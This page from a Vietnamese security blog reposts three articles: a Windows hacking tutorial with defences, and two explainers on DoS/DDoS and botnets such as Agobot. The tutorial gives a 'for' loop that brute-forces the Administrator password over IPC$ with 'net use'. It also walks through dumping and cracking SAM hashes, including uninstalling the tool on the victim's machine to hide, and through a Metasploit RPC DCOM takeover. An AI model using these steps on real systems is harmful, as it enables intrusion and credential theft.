Hiển thị các bài đăng có nhãn Methods of Attack and Defensive Measures. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Methods of Attack and Defensive Measures. Hiển thị tất cả bài đăng

Thứ Bảy, 8 tháng 10, 2011

Windows Hacking và các giải pháp phòng tránh

Windows là hệ điều hành phổ biến nhất trên thế giới, nó luôn tiềm ẩn những lỗi bảo mật. Trong bài viết này tôi sẽ trình bày với các bạn những phương thức tấn công một máy tính cài hệ điều hành Windows. Từ những kiến thức và khả năng tấn công vào máy tính cài hệ điều hành Windows tôi sẽ đưa ra các giải pháp bảo mật cho hệ thống. 

Nội dung trong bài viết:

1. Tấn công Password của tài khoản trong Windows. 

2. Tấn công máy tính cài Windows thông qua các lỗ hổng bảo mật 

Phần I. Tấn công Password của tài khoản người dùng Windows


1. Sử dụng lệnh For trong Windows

- Máy bị tấn công địa chỉ IP: 192.168.1.18, máy sử dụng để tấn công cùng nằm trong mạng 192.168.1.0/24. 

- Hầu hết tất cả các máy đều chia sẻ tài nguyên trong hệ thống mạng, và có một thư mục được Share ẩn mặc định là thư mục \\computer\IPC$ 

- Khi ta biết được User trên máy đó là Administrator ta chỉ quan tâm làm thế nào để biết được mật khẩu của tài khoản đó. 

- Tạo một file từ điển chứa hầu hết các mật khẩu thông dụng – dùng tools Dictionary Generator để tạo ra bộ từ điển này. 

- Cấu tạo của lệnh for: 

For /f "tokens=1" %a in (vnedic.txt) do net use * \\computer\IPC$ /user:"administrator" %a 

- Trong đó vnedic.txt là file từ điển đã được tạo, sử dụng Net User để Map ổ 


File từ điển tôi để ở ổ I: với tên vnedic.txt. Sau khi hệ thống tìm password ở trong file vnedict.txt đã tìm được password của tài khoản Administrator của máy 192.168.1.8 là "123". 

- Có rất nhiều phương pháp tạo ra bộ từ điển để sử dụng lệnh for tấn công vào hệ thống Windows. 

- Nhược điểm của phương pháp này là rất chậm để có thể tấn công được một hệ thống máy tính có mật khẩu phức tạp. 

2. Giải pháp chống tấn công sử dụng lệnh For

- Thiết lập trong Group Policy khi gõ Password sai 5 lần sẽ bị lock 30 phút 


3. Giải mã mật khẩu được mã hoá

a. Trên máy Local 

- Giả sử bạn không biết mật khẩu của một máy tính trong hệ thống, nhưng bạn lại nhờ người đó gõ mật khẩu của họ và cho bạn mượn máy tính dùng tạm. Và bạn giờ đây là làm thế nào để biết được Password trên máy bạn đang logon. 

- Rất nhiều phần mềm có thể Exports đoạn mã hoá của Password ra thành một File điển hình là PasswordDump, WinPasswordPro, trong bài viết này tôi trình bày với các bạn sử dụng WinPasswordPro. 

Bật chương trình WinPasswordPro lên Import Password từ máy Local. 


Sau Khi Import Password từ file SAM vào sẽ được 


Sau đó ta Export danh sách User và Password đã được mã hoá ra một file .txt và gửi vào Mail của chúng ta, sang máy chúng ta cũng dung phần mềm này để giải mã ngược lại. 


Mở file TXT đã exports ra ta có dữ liệu password đã được mã hoá 


Sau khi lấy được dữ liệu User – Password đã mã hoá ta Uninstall chương trình này trên máy nạn nhân để khỏi lộ - rồi gửi file đó vào Mail để về máy của ta Giải mã – đây là công đoạn tốn thời gian. Đối với mật khẩu dài 10 ký tự mất khoảng 1 tiếng. 

- Bật chương trình WinPasswordPro trên máy của chúng ta chọn File -> Import PWDUMP file rồi chọn đường dẫn tới file password được mã hoá. 

Sau khi Import từ file PWDUMP ta được - Nhấn vào Start ta sẽ có 3 phương thức tấn công Password 

+ Brute Force 

+ Dictionary 

+ Smart Table 


Tôi chọn phương thức tấn công Brute Force 


Đợi khoảng 15 phút (đây là password do tôi không đặt ký tự đặc biệt, không số, không hoa và 9 ký tự) 

- Kết thúc quá trình tôi đã giải mã được file Password đã được mã hoá với: user administrator và Password là vnexperts 


b. Tấn công máy từ xa

- Khi chúng ta được ngồi trên máy nạn nhân để Exports Password được mã hoá là đơn giản nhưng thực tế sẽ rất ít khi thực hiện được phương thức này. 

- Dùng Password Dump chúng ta sẽ lấy được dữ liệu đã được mã hoá từ một máy từ xa. 

- Ở đây tôi dụng PasswordDump Version 6.1.6 


Ở trên tôi sẽ lấy dữ liệu mã hoá Username và Password từ máy tính 192.168.1.156 dung PWDump và out dữ liệu đó ra file: vnehack.txt tại ổ C: dùng lệnh Type xem dữ liêụ của file đó. 

Sau Khi đã có dữ liệu này ta lại sử dụng WinPasswordPro để giải mã. Và sau khi ta có tài khoản User Administrator và Password của nó thì việc làm gì là tuỳ thuộc vào chúng ta. 

4. Giải pháp phòng chống hình thức tấn công này

+ Đề phòng những người truy cập vào máy tính của chúng ta. 

+ Đặt Password dài trên 14 ký tự và có đầy đủ các ký tự: Đặc biệt, hoa, số, thường 

+ Enable Firewall lên để chống PasswordDUMP, Cài đặt và cập nhật các bản vá lỗi mới nhất từ nhà sản xuất 

+ Cài đặt tối thiểu một chương trình diệt Virus mạnh. 


Vô hiệu hoá PWdump – nhưng lưu ý khi kẻ tấn công có một tài khoản trong hệ thống thì lại hoàn toàn khác chúng sẽ vượt qua hầu hết các phòng chống bảo mật: trong trường hợp này tôi có một User bình thường với tên vne tôi có thể Exports toàn bộ dữ liệu Username Password được mã hoá ở máy đích. 


Phần II. Tấn công hệ thống Windows qua lỗ hổng bảo mật

- Đầu tiên chúng ta phải tìm những lỗ hổng bảo mật. 

- Khai thác lỗ hổng đã tìm được 

1. Dùng Retina Network Security Scanner 5.1 để tìm lỗ hổng trên hệ thống. 

Bật chương trình Retina Network Security Scanner lên: 

Chúng ta muốn tìm kiếm trong hệ thống mạng những máy nào đang Online vào phần Discover 

Để phát hiện ra lỗ hổng bảo mật sử dụng Tab Audit 


Tôi sẽ sử dụng chương trình này để kiểm tra máy 192.168.1.8 


Nhấn Start - Chọn Scan Template là chế độ Complete Scan: 

Đợi một nát tôi được kết quả thật bất ngờ: máy tính 192.168.1.8 bị rất nhiều lỗ hổng bảo mật 

- Tôi phát hiện ra lỗi nguy hiểm trên máy chưa được Fix trên Service RPC là: Windows RPC DCOM Multiple Vulerabilities. 

- Đọc thêm phần mở rộng về lỗi này tôi phát hiện ra lỗi này cho phép ta truy cập bất hợp pháp tới máy tính đó. 


Retina Network Security Scanner là phần mềm rất hiệu quả để Scan hệ thống và phát hiện ra các lỗ hổng bảo mật – Đây là phần mềm có bản quyền. 

2. Sử dụng Metasploit để khai thác

- Những lỗ hổng vừa được Retina phát hiện giờ chúng ta sẽ sử dụng Metasploit để khai thác chúng, ở đây tôi dung bản metasploit 2.7 - Hiện nay có bản 3.0 

Sau khi cài đặt Metasploit tôi bật giao diên Web bằng cách dưới đây: 


- Sau bật MSFWeb tôi vào IE gõ địa chỉ: http://127.0.0.1:55555 


- Lựa trọn trong Filter Modules là Windows 2003 


Trong những lỗi tìm thấy và có thể khai thác bởi MetaSploit trên Windows 2003 tôi tìm thấy lỗi RPC Service 


Nhấn vào lỗ hổng bảo mật này 


Chương trình thông báo lỗ hổng bảo mật này sẽ được khai thác trên các hệ điều hành NT, 2K, XP, và 2K3 

Nhấn vào đó hệ thống sẽ cho phép chúng ta sử dụng các chương trình dưới đây để khai thác vào lỗ hổng bảo mật này 


Tôi lựa chọn Win32_Reverse_vncinject 

Sauk hi tôi lựa chọn sử dụng vncinject tôi lựa chọn máy đích cần Sploit là: 192.168.1.8 


Nhấn Exploit để khai thác lỗ hổng bảo mật trên 

Kết quả thật tuyệt vời tôi đã Remote Desktop đến máy đó mà không cần thong qua bất cứ phương thức xác thực nào, và giờ tôi đã toàn quyền với máy tính này. 


Một kết quả làm đau đầu các nhà bảo mật nhưng chúng ta không phải không có giải pháp phòng chống. 

3. Cách phòng chống các lỗi bảo mật

+ Luôn update các bản vá lỗi mới nhất từ nhà sản xuất.

+ Enable Firewall chỉ mở những cổng cần thiết cho các ứng dụng.

+ Có thiết bị IDS phát hiện xâm nhập.

+ Có Firewall chống Scan các Service đang chạy.


Editor: Vương L. Kiều (Baomathethong.blogspot.com)
Author & Source: Vnexperts.net

DOS và DDOS - P2

Trong phần II của bài viết về tấn công DoS và DDoS tôi sẽ trình bày với các bạn nội dung chi tiết về mạng Bot, các dạng mạng Bot và cách tạo ra mạng Botnet. Khi hiểu về mạng Botnet bạn có thể hình dung ra phương thức tấn công DDoS. 

Đồng thời, tôi cũng trình bày với các bạn chi tiết các phương thức tấn công DDoS các thực hiện các phương thức tấn công này. Nhưng bài viết này chỉ có tác dụng giúp các bạn hiểu biết sâu về tấn công DDoS mà thôi, các tools giới thiệu chỉ mang tính giới thiệu vì nó là các tools DDoS cũ.

>>> P1

VI. Mạng BOT NET 

1. Ý nghĩa của mạng BOT 

- Khi sử dụng một Tool tấn công DoS tới một máy chủ đôi khi không gây ảnh hưởng gì cho máy chủ - Giả sử bạn sử dụng tool Ping of Death tới một máy chủ, trong đó máy chủ kết nối với mạng tốc độ 100Mbps bạn kết nối tới máy chủ tốc độ 3Mbps - Vậy tấn công của bạn không có ý nghĩa gì. 

- Nhưng bạn hãy tưởng tượng có 1000 người như bạn cùng một lúc tấn công vào máy chủ kia khi đó toàn bộ băng thông của 1000 người cộng lại tối đa đạt 3Gbps và tốc độ kết nối của máy chủ là 100 Mbps vậy kết quả sẽ ra sao các bạn có khả năng tưởng tượng. 

- Nhưng tôi đang thử hỏi làm cách nào để có 1000 máy tính kết nối với mạng – tôi đi mua một nghìn chiếc và thuê 1000 thuê bao kết nối - chắc chắn tôi không làm như vậy rồi và cũng không kẻ tân công nào sử dụng phương pháp này cả. 

- Kẻ tấn công xây dựng một mạng gồm hàng nghìn máy tính kết Internet (có mạng BOT lên tới 400.000 máy). Vậy làm thể nào chúng có khả năng lợi dụng người kết nối tới Internet để xây dựng mạng BOT trong bài viết này tôi sẽ giới thiệu với các bạn các mạng BOT và cách xây dựng, những Tool xây dựng. 

- Khi có trong tay mạng BOT kẻ tấn công sử dụng những tool tấn công đơn giản để tấn công vào một hệ thống máy tính. Dựa vào những truy cập hoàn toàn hợp lệ của hệ thống, cùng một lúc chúng sử dụng một dịch vụ của máy chủ, bạn thử tưởng tượng khi kẻ tấn công có trong tay 400.000 máy chủ và cùng một lúc ra lệnh cho chúng download một file trên trang web của bạn. Và đó chính là DDoS – Distributed Denial of Servcie 

- Không có một phương thức chống tấn công DDoS một cách hoàn toàn nhưng trong bài viết này tôi cũng giới thiệu với các bạn những phương pháp phòng chống DDoS khi chúng ta đã hiểu về nó. 

2. Mạng BOT 

- BOT từ viết tắt của từ RoBOT 

- IRCbot – còn được gọi là zombia hay drone. 

- Internet Relay Chat (IRC) là một dạng truyền dữ liệu thời gian thực trên Internet. Nó thường được thiết kế sao cho một người có thể nhắn được cho một group và mỗi người có thể giao tiếp với nhau với một kênh khác nhau được gọi là – Channels. 

- Đầu tiên BOT kết nối kênh IRC với IRC Server và đợi giao tiếp giữa những người với nhau. 

- Kẻ tấn công có thể điều khiển mạng BOT và sử dụng mạng BOT cũng như sử dụng nhằm một mục đích nào đó. 

- Nhiều mạng BOT kết nối với nhau người ta gọi là BOTNET – botnet. 

3. Mạng Botnet

- Mạng Botnet bao gồm nhiều máy tính 

- Nó được sử dụng cho mục đích tấn công DDoS 

- Một mạng Botnet nhỏ có thể chỉ bao gồm 1000 máy tính nhưng bạn thử tưởng tượng mỗi máy tính này kết nối tới Internet tốc độ chỉ là 128Kbps thì mạng Botnet này đã có khả năng tạo băng thông là 1000*128 ~ 100Mbps – Đây là một con số thể hiện băng thông mà khó một nhà Hosting nào có thể share cho mỗi trang web của mình. 

4. Mục đích sử dụng mạng Botnets 

a. Tấn công DDoS (Distributed Denial-of-Service)

+ Botnet được sử dụng cho tấn công DDoS 

b. Spamming 

+ Mở một SOCKS v4/v5 proxy server cho việc Spamming 

c. Sniffing traffic 

+ Bot cũng có thể sử dụng các gói tin nó sniffer (tóm được các giao tiếp trên mạng) sau khi tóm được các gói tin nó cố gắng giải mã gói tin để lấy được các nội dung có ý nghĩa như tài khoản ngân hàng và nhiều thông tin có giá trị khác của người sử dụng. 

d. Keylogging 

+ Với sự trợ giúp của Keylogger rất nhiều thông tin nhạy cảm của người dùng có thể sẽ bị kẻ tấn công khai thác như tài khoản trên e-banking, cũng như nhiều tài khoản khác. 

e. Cài đặt và lây nhiễm chương trình độc hại 

+ Botnet có thể sử dụng để tạo ra mạng những mạng BOT mới. 

f. Cài đặt những quảng cáo Popup 

+ Tự động bật ra những quảng cáo không mong muốn với người sử dụng. 

g. Google Adsense abuse 

+ Tự động thay đổi các kết quả tìm kiếm hiển thị mỗi khi người dùng sử dụng dịch vụ tìm kiểm của Google, khi thay đổi kết quả nó sẽ lừa người dùng kích vào những trang web nguy hiểm. 

h. Tấn công vào IRC Chat Networks 

+ Nó được gọi là clone attack 

i. Phishing 

+ Mạng botnet còn được sử dụng để phishing mail nhằm lấy các thông tin nhạy cảm của người dùng. 

5. Các dạng của mạng BOT

a. Agobot/Phatbot/Forbot/XtremBot 

- Đây là những bot được viết bằng C++ trên nền tảng Cross-platform và mã nguồn được tìm trên GPL. Agobot được viết bởi Ago nick name được người ta biết đến là Wonk, một thanh niên trẻ người Đức – đã bị bắt hồi tháng 5 năm 2004 với tội danh về tội phạm máy tính. 

- Agobot có khả năng sử dụng NTFS Alternate Data Stream (ADS) và như một loại Rootkit nhằm ẩn các tiến trình đang chạy trên hệ thống 

b. SDBot/Rbot/UrBot/UrXbot 

- SDBot được viết bằng ngồn ngữ C và cũng được public bởi GPL. Nó đươc coi như là tiền thân của Rbot, RxBot, UrBot, UrXBot, JrBot 

c. mIRC-Based Bots – GT-Bots 

- GT được viết tắt tư fhai từ Global Threat và tên thường được sử dụng cho tất cả các mIRC-scripted bots. Nó có khả năng sử dụng phần mềm IM là mIRC để thiết lập một số script và một số đoạn mã khác. 

6. Các bước xây dựng mạng BotNet? Cách phân tích mạng Bot. 

Để hiểu hơn về xây dựng hệ thống mạng BotNet chúng ta nghiên cứu từ cách lây nhiễm vào một máy tính, cách tạo ra một mạng Bot và dùng mạng Bot này tấn công vào một đích nào đó của mạng Botnet được tạo ra từ Agobot’s. 

Bước 1: Cách lây nhiễm vào máy tính. 

- Đầu tiên kẻ tấn công lừa cho người dùng chạy file "chess.exe", một Agobot thường copy chúng vào hệ thống và sẽ thêm các thông số trong Registry để đảm bảo sẽ chạy cùng với hệ thống khi khởi động. Trong Registry có các vị trí cho các ứng dụng chạy lúc khởi động tại. 

HKLM\Software\Microsoft\Windows\CurrentVersion\Run 

HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices 

Bước 2: Cách lây lan và xây dựng tạo mạng BOTNET 

- Sau khi trong hệ thống mạng có một máy tính bị nhiễm Agobot, nó sẽ tự động tìm kiếm các máy tính khác trong hệ thống và lây nhiễm sử dụng các lỗ hổng trong tài nguyên được chia sẻ trong hệ thống mạng. 

- Chúng thường cố gắng kết nối tới các dữ liệu share mặc định dành cho các ứng dụng quản trị (administrator or administrative) ví dụ như: C$, D$, E$ và print$ bằng cách đoán usernames và password để có thể truy cập được vào một hệ thống khác và lây nhiễm. 

- Agobot có thể lây lan rất nhanh bởi chúng có khả năng tận dụng các điểm yếu trong hệ điều hành Windows, hay các ứng dụng, các dịch vụ chạy trên hệ thống. 

Bước 3: Kết nối vào IRC. 

- Bước tiếp theo của Agobot sẽ tạo ra một IRC-Controlled Backdoor để mở các yếu tố cần thiết, và kết nối tới mạng Botnet thông qua IRC-Controll, sau khi kết nối nó sẽ mở những dịch vụ cần thiết để khi có yêu cầu chúng sẽ được điều khiển bởi kẻ tấn công thông qua kênh giao tiếp IRC. 

Bước 4: Điều khiển tấn công từ mạng BotNet. 

- Kẻ tấn công điều khiển các máy trong mạng Agobot download những file .exe về chạy trên máy. 

- Lấy toàn bộ thông tin liên quan và cần thiết trên hệ thống mà kẻ tấn công muốn. 

- Chạy những file khác trên hệ thống đáp ứng yêu cầu của kẻ tấn công. 

- Chạy những chương trình DDoS tấn công hệ thống khác. 

7. Sơ đồ cách hệ thống bị lây nhiễm và sử dụng Agobot. 


VII. Các tools tấn công DDoS 

1. Nuclear Bot

- Nuclear Bot là một tool cực mạnh "Multi Advanced IRC BOT" có thể sử dụng để Floods, Managing, Utilities, Spread, IRC Related, tấn công DDoS và nhiều mục đích khác. 


VIII. Tấn công DDoS 


Trên Internet tấn công Distributed Denial of Service là một dạng tấn công từ nhiều máy tính tới một đích, nó gây ra từ chối các yêu cầu hợp lệ của các user bình thường. Bằng cách tạo ra những gói tin cực nhiều đến một đích cụ thể, nó có thể gây tình trạng tương tự như hệ thống bị shutdown. 

2. Các đặc tính của tấn công DDoS

- Nó được tấn công từ một hệ thống các máy tính cực lớn trên Internet, và thường dựa vào các dịch vụ có sẵn trên các máy tính trong mạng botnet 

- Các dịch vụ tấn công được điều khiển từ những "primary victim" trong khi các máy tính bị chiếm quyền sử dụng trong mạng Bot được sử dụng để tấn công thường được gọi là "secondary victims". 

- Là dạng tấn công rất khó có thể phát hiện bởi tấn công này được sinh ra từ nhiều địa chỉ IP trên Internet. 

- Nếu một địa chỉ IP tấn công một công ty, nó có thể được chặn bởi Firewall. Nếu nó từ 30.000 địa chỉ IP khác, thì điều này là vô cùng khó khăn. 

- Thủ phạm có thể gây nhiều ảnh hưởng bởi tấn công từ chối dịch vụ DoS, và điều này càng nguy hiểm hơn khi chúng sử dụng một hệ thống mạng Bot trên internet thực hiện tấn công DoS và đó được gọi là tấn công DDoS. 

3. Tấn công DDoS không thể ngăn chặn hoàn toàn

- Các dạng tấn công DDoS thực hiện tìm kiếm các lỗ hổng bảo mật trên các máy tính kết nối tới Internet và khai thác các lỗ hổng bảo mật để xây dựng mạng Botnet gồm nhiều máy tính kết nối tới Internet. 

- Một tấn công DDoS được thực hiện sẽ rất khó để ngăn chặn hoàn toàn. 

- Những gói tin đến Firewall có thể chặn lại, nhưng hầu hết chúng đều đến từ những địa chỉ IP chưa có trong các Access Rule của Firewall và là những gói tin hoàn toàn hợp lệ. 

- Nếu địa chỉ nguồn của gói tin có thể bị giả mạo, sau khi bạn không nhận được sự phản hồi từ những địa chỉ nguồn thật thì bạn cần phải thực hiện cấm giao tiếp với địa chỉ nguồn đó. 

- Tuy nhiên một mạng Botnet bao gồm từ hàng nghìn tới vài trăm nghìn địa chỉ IP trên Internet và điều đó là vô cùng khó khăn để ngăn chặn tấn công. 

4. Kẻ tấn công khôn ngoan

Giờ đây không một kẻ tấn công nào sử dụng luôn địa chỉ IP để điều khiển mạng Botnet tấn công tới đích, mà chúng thường sử dụng một đối tượng trung gian dưới đây là những mô hình tấn công DDoS 

a. Agent Handler Model 

Kẻ tấn công sử dụng các handler để điều khiển tấn công 


b. Tấn công DDoS dựa trên nền tảng IRC 

Kẻ tấn công sử dụng các mạng IRC để điều khiển, khuyếch đại và quản lý kết nối với các máy tính trong mạng Botnet. 



IX. Phân loại tấn công DDoS 

a. Tấn công gây hết băng thông truy cập tới máy chủ

+ Flood attack 

+ UDP và ICMP Flood (flood – gây ngập lụt) 

b. Tấn công khuếch đại các giao tiếp 

+ Smurf and Fraggle attack 

Vd: Tấn công DDoS vào Yahoo.com năm 2000 


c. Sơ đồ phân loại tấn công DDoS 


Sơ đồ tấn công DDoS ở dạng Khuếch đại giao tiếp

Như các bạn biết tấn công Smurf khi sử dụng sẽ Ping đến địa chỉ Broadcast của một mạng nào đó mà địa chỉ nguồn chính là địa chỉ của máy cần tấn công, khi đó toàn bộ các gói Reply sẽ được chuyển tới địa chỉ IP của máy tính bị tấn công. 


X. Tấn công Reflective DNS (reflective - phản chiếu)

a. Các vấn đề liên quan tới tấn công Reflective DNS 

- Một Hacker có thể sử dụng mạng botnet để gửi rất nhiều yêu cầu tới máy chủ DNS. 

- Những yêu cầu sẽ làm tràn băng thông mạng của các máy chủ DNS, 

- Việc phòng chống dạng tấn công này có thể dùng Firewall ngăn cấm những giao tiếp từ các máy tính được phát hiện ra. 

- Nhưng việc cấm các giao tiếp từ DNS Server sẽ có nhiều vấn đề lớn. Một DNS Server có nhiệm vụ rất quan trọng trên Internet. 

- Việc cấm các giao tiếp DNS đồng nghĩa với việc cấm người dùng bình thường gửi mail và truy cập Website. 

- Một yêu cầu về DNS thường chiếm bằng 1/73 thời gian của gói tin trả lời trên máy chủ. Dựa vào yếu tố này nếu dùng một Tools chuyên nghiệp để làm tăng các yêu cầu tới máy chủ DNS sẽ khiến máy chủ DNS bị quá tải và không thể đáp ứng cho các người dùng bình thường được nữa. 

b. Tool tấn công Reflective DNS – ihateperl.pl 

- ihateperl.pl là chương trình rất nhỏ, rất hiệu quả, dựa trên kiểu tấn công DNS-Reflective 

- Nó sử dụng một danh sách các máy chủ DNS để làm tràn hệ thống mạng với các gói yêu cầu Name Resolution. 

- Bằng một ví dụ nó có thể sử dụng google.com để resole gửi tới máy chủ và có thể đổi tên domain đó thành www.vnexperts.net hay bất kỳ một trang web nào mà kẻ tấn công muôn. 

- Để sử dụng công cụ này, rất đơn giản bạn tạo ra một danh sách các máy chủ DNS, chuyển cho địa chỉ IP của máy cá nhân và thiết lập số lượng các giao tiếp. 

XI. Các tools sử dụng để tấn công DDoS. 

Trong toàn bộ các tools tôi giới thiệu trong bài viết này hầu hết là các tools cũ và không hiệu quả, và chỉ mang tính chất sư phạm để các bạn có thể hiểu về dạng tấn công DDoS hơn mà thôi. Dưới đây là các Tools tấn công DDoS. 

- Trinoo - Tribe flood Network (TFN) - TFN2K - Stacheldraht - Shaft 

- Trinity - Knight - Mstream - Kaiten

Các tools này bạn hoàn toàn có thể Download miễn phí trên Internet và lưu ý là chỉ để thử đây là các tools yếu và chỉ mang tính Demo về tấn công DdoS mà thôi.

Editor: Vinhhq (Baomathethong.blogspot.com)
Author: Hoàng Tuấn Đạt  
Source: Vnexperts.net

DOS và DDOS - P1

Trong bài viết này tôi sẽ trình bày với các bạn chi tiết về định nghĩa, các dạng tấn công DoS và DDoS, cùng hàng loạt các kiến thức liên quan được tổng hợp. DoS và DDoS là một trong những dạng tấn công nguy hiểm nhất đối với một hệ thống mạng. 

Bài viết này tôi không muốn các bạn dựa vào các tools trong này để tấn công, mục đích trình bày để các bạn hiểu về kiểu tấn công này, và có những giải pháp phòng chống.

>>> P2

I. Lịch sử của tấn công DoS 

1. Mục tiêu 

- Mục tiêu các cuộc tấn công thường vào các trang web lớn và các tổ chức thương mại điện tử trên Internet. 

2. Các cuộc tấn công

- Vào ngày 15 tháng 8 năm 2003, Microsoft đã chịu đợt tấn công DoS cực mạnh và làm gián đoạn websites trong vòng 2 giờ. 

- Vào lúc 15:09 giờ GMT ngày 27 tháng 3 năm 2003: toàn bộ phiên bản tiếng anh của website Al-Jazeera bị tấn công làm gián đoạn trong nhiều giờ 

II. Định nghĩa về tấn công DoS 

Tấn công DoS là kiểu tấn công vô cùng nguy hiểm, để hiểu được nó ta cần phải lắm rõ định nghĩa của tấn công DoS và các dạng tấn công DoS. 

- Tấn công DoS là một kiểu tấn công mà một người làm cho một hệ thống không thể sử dụng, hoặc làm cho hệ thống đó chậm đi một cách đáng kể với người dùng bình thường, bằng cách làm quá tải tài nguyên của hệ thống. 

- Nếu kẻ tấn công không có khả năng thâm nhập được vào hệ thống, thì chúng cố gắng tìm cách làm cho hệ thống đó sụp đổ và không có khả năng phục vụ người dùng bình thường đó là tấn công Denial of Service (DoS). 

Mặc dù tấn công DoS không có khả năng truy cập vào dữ liệu thực của hệ thống nhưng nó có thể làm gián đoạn các dịch vụ mà hệ thống đó cung cấp. Như định nghĩa trên DoS khi tấn công vào một hệ thống sẽ khai thác những cái yếu nhất của hệ thống để tấn công, những mục đích của tấn công DoS: 

1. Các mục đích của tấn công DoS 

- Cố gắng chiếm băng thông mạng và làm hệ thống mạng bị ngập (flood), khi đó hệ thống mạng sẽ không có khả năng đáp ứng những dịch vụ khác cho người dùng bình thường. 

- Cố gắng làm ngắt kết nối giữa hai máy, và ngăn chặn quá trình truy cập vào dịch vụ. 

- Cố gắng ngăn chặn những người dùng cụ thể vào một dịch vụ nào đó 

- Cố gắng ngăn chặn các dịch vụ không cho người khác có khả năng truy cập vào. 

- Khi tấn công DoS xảy ra người dùng có cảm giác khi truy cập vào dịch vụ đó như bị: 

+ Disable Network - Tắt mạng 

+ Disable Organization - Tổ chức không hoạt động 

+ Financial Loss – Tài chính bị mất 

2. Mục tiêu mà kẻ tấn công thường sử dụng tấn công DoS 

Như chúng ta biết ở bên trên tấn công DoS xảy ra khi kẻ tấn công sử dụng hết tài nguyên của hệ thống và hệ thống không thể đáp ứng cho người dùng bình thường được vậy các tài nguyên chúng thường sử dụng để tấn công là gì: 

- Tạo ra sự khan hiếm, những giới hạn và không đổi mới tài nguyên 

- Băng thông của hệ thống mạng (Network Bandwidth), bộ nhớ, ổ đĩa, và CPU Time hay cấu trúc dữ liệu đều là mục tiêu của tấn công DoS. 

- Tấn công vào hệ thống khác phục vụ cho mạng máy tính như: hệ thống điều hoà, hệ thống điện, hệt hống làm mát và nhiều tài nguyên khác của doanh nghiệp. Bạn thử tưởng tượng khi nguồn điện vào máy chủ web bị ngắt thì người dùng có thể truy cập vào máy chủ đó không. 

- Phá hoại hoặc thay đổi các thông tin cấu hình. 

- Phá hoại tầng vật lý hoặc các thiết bị mạng như nguồn điện, điều hoà… 

III. Các dạng tấn công 

Tấn công Denial of Service chia ra làm hai loại tấn công 

- Tấn công DoS: Tấn công từ một cá thể, hay tập hợp các cá thể. 

- Tấn công DDoS: Đây là sự tấn công từ một mạng máy tính được thiết kế để tấn công tới một đích cụ thể nào đó. 

1. Các dạng tấn công DoS 

- Smurf 

- Buffer Overflow Attack 

- Ping of Death 

- Teardrop 

- SYN Attack 

a. Tấn công Smurf 

- Là thủ phạm sinh ra cực nhiều giao tiếp ICMP (ping) tới địa chỉ Broadcast của nhiều mạng với địa chỉ nguồn là mục tiêu cần tấn công. 

Lưu ý: Khi ping tới một địa chỉ là quá trình hai chiều – Khi máy A ping tới máy B máy B reply lại hoàn tất quá trình. Khi tôi ping tới địa chỉ Broadcast của mạng nào đó thì toàn bộ các máy tính trong mạng đó sẽ Reply lại tôi. Nhưng giờ tôi thay đổi địa chỉ nguồn, thay địa chỉ nguồn là máy C và tôi ping tới địa chỉ Broadcast của một mạng nào đó, thì toàn bộ các máy tính trong mạng đó sẽ reply lại vào máy C chứ không phải tôi và đó là tấn công Smurf. 

- Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực lớn và làm cho mạng bị dớt hoặc bị chậm lại không có khả năng đáp ứng các dịch vụ khác. 

- Quá trình này được khuyếch đại khi có luồng ping reply từ một mạng được kết nối với nhau (mạng BOT). 

- tấn công Fraggle, chúng sử dụng UDP echo và tương tự như tấn công Smurf. 



Hình hiển thị tấn công DoS - dạng tấn công Smurf sử dụng gói ICMP làm ngập các giao tiếp khác. 

b. Tấn công Buffer Overflow

- Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi lượng thông tin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ. 

- Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương trình và đánh cắp quyền điều khiển của một số chương trình nhằm thực thi các đoạn mã nguy hiểm. 

- Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có thể sẽ xảy ra quá trình tràn bộ nhớ đệm. 

c. Tấn công Ping of Death 


- Kẻ tấn công gửi những gói tin IP lớn hơn số lương bytes cho phép của tin IP là 65.536 bytes. 

- Quá trình chia nhỏ gói tin IP thành những phần nhỏ được thực hiện ở layer II. 

- Quá trình chia nhỏ có thể thực hiện với gói IP lớn hơn 65.536 bytes. Nhưng hệ điều hành không thể nhận biết được độ lớn của gói tin này và sẽ bị khởi động lại, hay đơn giản là sẽ bị gián đoạn giao tiếp. 

- Để nhận biết kẻ tấn công gửi gói tin lớn hơn gói tin cho phép thì tương đối dễ dàng. 

d. Tấn công Teardrop 

- Gói tin IP rất lớn khi đến Router sẽ bị chia nhỏ làm nhiều phần nhỏ. 

- Kẻ tấn công sử dụng sử dụng gói IP với các thông số rất khó hiểu để chia ra các phần nhỏ (fragment). 

- Nếu hệ điều hành nhận được các gói tin đã được chia nhỏ và không hiểu được, hệ thống cố gắng build lại gói tin và điều đó chiếm một phần tài nguyên hệ thống, nếu quá trình đó liên tục xảy ra hệ thống không còn tài nguyên cho các ứng dụng khác, phục vụ các user khác. 

e. Tấn công SYN 


- Kẻ tấn công gửi các yêu cầu (request ảo) TCP SYN tới máy chủ bị tấn công. Để xử lý lượng gói tin SYN này hệ thống cần tốn một lượng bộ nhớ cho kết nối. 

- Khi có rất nhiều gói SYN ảo tới máy chủ và chiếm hết các yêu cầu xử lý của máy chủ. Một người dùng bình thường kết nối tới máy chủ ban đầu thực hiện Request TCP SYN và lúc này máy chủ không còn khả năng đáp lại - kết nối không được thực hiện. 

- Đây là kiểu tấn công mà kẻ tấn công lợi dụng quá trình giao tiếp của TCP theo – Three-way. 

- Các đoạn mã nguy hiểm có khả năng sinh ra một số lượng cực lớn các gói TCP SYN tới máy chủ bị tấn công, địa chỉ IP nguồn của gói tin đã bị thay đổi và đó chính là tấn công DoS. 

- Hình bên trên thể hiện các giao tiếp bình thường với máy chủ và bên dưới thế hiện khi máy chủ bị tấn công gói SYN đến sẽ rất nhiều trong khi đó khả năng trả lời của máy chủ lại có hạn và khi đó máy chủ sẽ từ chối các truy cập hợp pháp. 

- Quá trình TCP Three-way handshake được thực hiện: Khi máy A muốn giao tiếp với máy B. (1) máy A bắn ra một gói TCP SYN tới máy B – (2) máy B khi nhận được gói SYN từ A sẽ gửi lại máy A gói ACK đồng ý kết nối – (3) máy A gửi lại máy B gói ACK và bắt đầu các giao tiếp dữ liệu. 

